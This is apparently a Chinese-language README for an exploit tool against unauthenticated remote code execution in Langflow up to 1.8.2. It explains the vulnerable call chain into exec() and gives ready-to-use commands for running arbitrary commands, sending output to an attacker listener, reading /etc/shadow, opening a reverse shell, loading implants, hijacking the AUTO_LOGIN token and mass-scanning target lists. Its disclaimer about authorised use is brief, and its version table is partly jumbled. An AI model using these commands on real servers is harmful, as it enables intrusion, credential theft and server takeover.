_____
/ \
| () () |
\ ^ /
|||||
exec() 无认证、无沙箱、无希望。
Langflow <= 1.8.2 允许通过 POST /api/v1/build_public_tmp/{flow_id}/flow 端点进行未认证远程代码执行。攻击者提供的包含任意 Python 节点定义的流程数据会被直接传递给 exec(),且完全没有沙箱隔离。
POST /api/v1/build_public_tmp/{flow_id}/flow
-> chat.py -> start_flow_build() -> build_graph_from_data()
-> Graph.from_payload() -> loading.py -> eval.py create_class()
-> validate.py prepare_global_scope() -> exec(compiled_code)
-> 任意代码以服务器进程权限运行。游戏结束。
git clone https://github.com/oscarmine/CVE-2026-33017.git
cd CVE-2026-33017
pip install requests
python3 exploit.py --url http://target:7860 --check
python3 exploit.py --url http://target:7860 --cmd "id"
# 终端 1:启动监听器
python3 -m http.server 8080
# 终端 2:发起攻击
python3 exploit.py --url http://target:7860 --cmd "id" \
--callback-get http://your-ip:8080
# 从监听器日志中解码 base64:
echo "dWlkPTEwMDAo..." | base64 -d
# 终端 1:启动监听器
nc -l 8080
# 终端 2:发起攻击
python3 exploit.py --url http://target:7860 --cmd "cat /etc/shadow" \
--callback-post http://your-ip:8080
# 原始输出直接出现在 POST 请求体中 - 无需解码
# 终端 1:启动监听器
nc -l 4444
# 终端 2:发起攻击
python3 exploit.py --url http://target:7860 --revshell your-ip 4444
python3 exploit.py --url http://target:7860 --payload-file implant.py
载荷文件规则:
prepare_global_scope() 内的 exec() 在模块级别运行_x = os.popen(...).read()),因为 AST 过滤器只执行 Assign、FunctionDef、ClassDef 节点threading.Thread(daemon=True) 以避免杀死异步事件循环当不存在 PUBLIC 流程但启用了 AUTO_LOGIN 时(许多部署中默认启用):
python3 exploit.py --url http://target:7860 --auto-promote --cmd "id"
这会劫持 AUTO_LOGIN 令牌,将第一个流程 PATCH 为 PUBLIC,然后利用它。
从文件中扫描多个目标(仅漏洞检查):
python3 exploit.py --scan-file targets.txt
python3 exploit.py --scan-file targets.txt --threads 20 --scan-output results.txt
targets.txt 格式:
http://10.10.10.5:7860
http://10.10.10.6:7860
192.168.1.100:7860
# 注释行会被忽略
输出显示:
python3 exploit.py --url http://target:7860 --cmd "id" \
--proxy http://127.0.0.1:8080
/api/v1/version 以识别目标指纹CustomComponent 节点的最小流程图,在 code 字段中嵌入恶意 Python 代码/api/v1/build_public_tmp/{flow_id}/flow 发送包含构造好的 data 参数的 POST 请求。Langflow 编译该图,依次调用 create_class() -> prepare_global_scope() -> 对攻击者代码执行 exec()v1.9.0 中的修复完全移除了 data 参数,强制端点仅使用数据库中存储的流程数据。
| 版本 | 状态 |
|---|---|
| <= 1.8.1 |
本工具仅用于授权的安全研究。仅可对您拥有明确测试许可的系统使用。作者不对滥用行为负责。
| 存在漏洞 |
| 1.8.2 | 变更日志声称已修复,但代码从未更改(JFrog 确认) |
| 1.9.0-dev0 至 dev11 | 仍然存在漏洞 |
| 1.9.0 | 真正修复 - 端点中移除了 data 参数 |